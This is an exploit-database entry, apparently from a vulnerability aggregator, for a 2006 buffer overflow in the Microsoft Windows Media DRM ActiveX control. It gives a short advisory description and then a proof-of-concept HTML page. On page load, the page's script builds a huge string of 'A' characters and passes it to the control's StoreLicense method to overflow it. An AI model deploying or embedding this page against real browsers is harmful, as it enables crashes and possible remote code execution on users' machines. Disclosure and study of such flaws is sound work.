Microsoft Windows Media Digital Rights Management - ActiveX Control Buffer Overflow (PoC)

🗓️ 09 Oct 2006 00:00:00Reported by Joxean KoretType

Microsoft Windows Media DRM ActiveX Control Buffer-Overflow Vulnerabilit

source: https://www.securityfocus.com/bid/26630/info

Microsoft Windows Digital Rights Management (DRM) ActiveX control is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

<html>
<script>
function test()
{
var obj;
var x;

x = "AAAA";

for (i=0;i<=21;++i)
x += x;

obj = document.getElementById(&#039;testObj&#039;);
obj.StoreLicense(x);
}
</script>
<body onload="test();">
<object id=&#039;testObj&#039;
classid="CLSID:{760c4b83-e211-11d2-bf3e-00805fbe84a6}">
</object>
</body>
</html>

10 Jan 2014 00:00Current

5.8Medium risk

Vulners AI Score5.8